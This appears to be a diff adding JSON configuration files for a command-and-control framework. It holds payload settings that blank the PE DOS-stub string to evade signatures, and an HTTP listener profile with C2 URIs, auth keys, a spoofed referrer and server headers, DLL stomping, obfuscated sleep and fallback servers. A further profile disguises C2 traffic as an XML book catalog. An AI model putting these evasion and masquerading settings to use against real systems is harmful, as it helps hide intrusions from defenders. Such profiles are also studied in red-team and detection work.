"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "boxcheck",
|
||||
"minimumArgCount": 1,
|
||||
"replace_str": {
|
||||
"boxit": "\\x00\\x00\\x00\\x00\\x00",
|
||||
"!This program cannot ": "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00",
|
||||
"be run in DOS mode.": "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
{
|
||||
"listeners": {
|
||||
"test-c2": {
|
||||
"append": "\"}",
|
||||
"append_response": "\"}",
|
||||
"auth_count": 1,
|
||||
"auth_type": false,
|
||||
"c2_authkeys": [
|
||||
"password"
|
||||
],
|
||||
"c2_uri": [
|
||||
"test.asp"
|
||||
],
|
||||
"die_offline": true,
|
||||
"empty_response": "{\"HTTP\":\"SUCCESS\"}",
|
||||
"request_headers": {
|
||||
"content-type": "application/octet",
|
||||
"referrer": "google.com"
|
||||
},
|
||||
"response_headers": {
|
||||
"X-Backend-Server": "developer1.sec3912.scl3.mozilla.com",
|
||||
"X-Cache-Info": "not cacheable; meta data too large"
|
||||
},
|
||||
"host": "172.16.219.1",
|
||||
"is_random": true,
|
||||
"os_type": "windows",
|
||||
"port": "8080",
|
||||
"prepend": "{\"cookie\":\"",
|
||||
"prepend_response": "{\"blob\":\"",
|
||||
"rotational_host": "172.16.219.1",
|
||||
"ssl": true,
|
||||
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
|
||||
"stomp": "chakra.dll",
|
||||
"sleep": 1,
|
||||
"delay_exec": 200,
|
||||
"jitter": 0,
|
||||
"obfsleep": "Pooling-1",
|
||||
"data_encoding": "Base64",
|
||||
"fallback": "fallback-c2",
|
||||
"fallback_counter": 3
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"xmlhttp_profile" : {
|
||||
"append": "</description>\n </add>\n</batch>\n",
|
||||
"c2_auth": "abcd@123",
|
||||
"c2_uri": [
|
||||
"previous-versions/windows",
|
||||
"latest/developerguide/documents-batch-xml.html"
|
||||
],
|
||||
"die_offline": false,
|
||||
"request_headers": {
|
||||
"Content-Type": "application/xhtml+xml"
|
||||
},
|
||||
"host": "192.168.0.142",
|
||||
"port": "10443",
|
||||
"prepend": "<?xml version=\"1.0\"?>\n<batch>\n <add id=\"tt0484562\">\n <author>Gambardella, Matthew</author>\n <title>XML Developer's Guide</title>\n <genre>Computer</genre>\n <price>44.95</price>\n <publish_date>2000-10-01</publish_date>\n <description>",
|
||||
"ssl": true,
|
||||
"type": "HTTP",
|
||||
"useragent": "Mozilla"
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user